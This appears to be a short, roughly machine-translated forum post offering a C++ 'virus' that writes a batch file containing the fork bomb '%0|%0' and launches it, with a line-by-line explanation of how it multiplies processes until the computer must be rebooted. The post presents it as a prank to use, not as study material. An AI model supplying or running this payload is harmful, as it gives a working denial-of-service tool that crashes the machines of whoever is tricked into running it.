C++ three-line pitting virus to kill the computer is not a thing to shut down

Source code:
Tired of shutting down the virus? Try this (there are some small bugs)

#include<bits/stdc++.h>
int main(){
    
    
	freopen("FUCK.bat","w",stdout);
	std::cout<<"%0|%0";
	system("start FUCK.bat");
} 

Explanation:
First of all, the familiar universal header. This is useless. It is just a convenience.
Then the familiar freopen.
This function is mainly to redirect and generate a file, and then enter "%0|%0" in it through cout , Such a major virus original is created,
%0 refers to the batch process itself. Change the current directory to the directory of the batch itself, and this section will continue, and then the process will not be disconnected! ! ! Increase almost exponentially. The
last sentence is the most important. It starts the bat file, so that the generated bat file is run, and the last is

Reboot